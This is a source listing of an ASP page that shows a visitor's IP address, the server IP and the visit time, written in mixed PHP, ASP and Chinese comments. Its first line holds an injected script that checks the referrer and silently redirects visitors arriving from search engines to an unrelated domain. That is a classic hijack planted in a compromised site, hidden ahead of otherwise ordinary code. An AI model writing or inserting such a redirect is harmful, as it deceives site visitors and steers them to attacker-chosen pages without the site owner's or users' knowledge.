d:\wwwroot\wuchunhua\ip\index.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><?php
002:
//
003:
$ip = $_SERVER["REMOTE_ADDR"];
004:
// 这个就是默认的php的系统函数去访问当前的ip的！
005:
006:
echo $ip."是您的ip";
007:
?>
008:
您的来访浏览器IP
<%
=Request.ServerVariables("REMOTE_ADDR")
%
>
009:
<br>
010:
ip位置是:
011:
延安生活里面的ip。mdb。。。。：http://1z88.com/延安生活/ip_script.asp
012:
013:
测试ok的asp代码，在底部.asp
014:
来访时间:
<%
=now()
%
>
015:
<br/>本页网址是URL：
016:
<script>document.write(location.href);</script>
017:
<br/>
018:
服务器IP
<%
=Request.ServerVariables("LOCAL_ADDR")
%
>
019:
020:
代理服务器真实IP
<%
Request.ServerVariables("HTTP_X_FORWARDED_FOR")
%
>
021:
真实IP地址
022:
<%
Private Function getIP()
023:
Dim strIPAddr
024:
If Request.ServerVariables("HTTP_X_FORWARDED_FOR") = "" OR InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), "unknown") > 0 Then
025:
strIPAddr = Request.ServerVariables("REMOTE_ADDR")
026:
ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",") > 0 Then
027:
strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",")-1)
028:
ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";") > 0 Then
029:
strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";")-1)
030:
Else
031:
strIPAddr = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
032:
End If
033:
getIP = Trim(Mid(strIPAddr, 1, 30))
034:
End Function
035:
ip=getIP()
036:
response.write(ip)
037:
%
>
038:
039:
040:
041: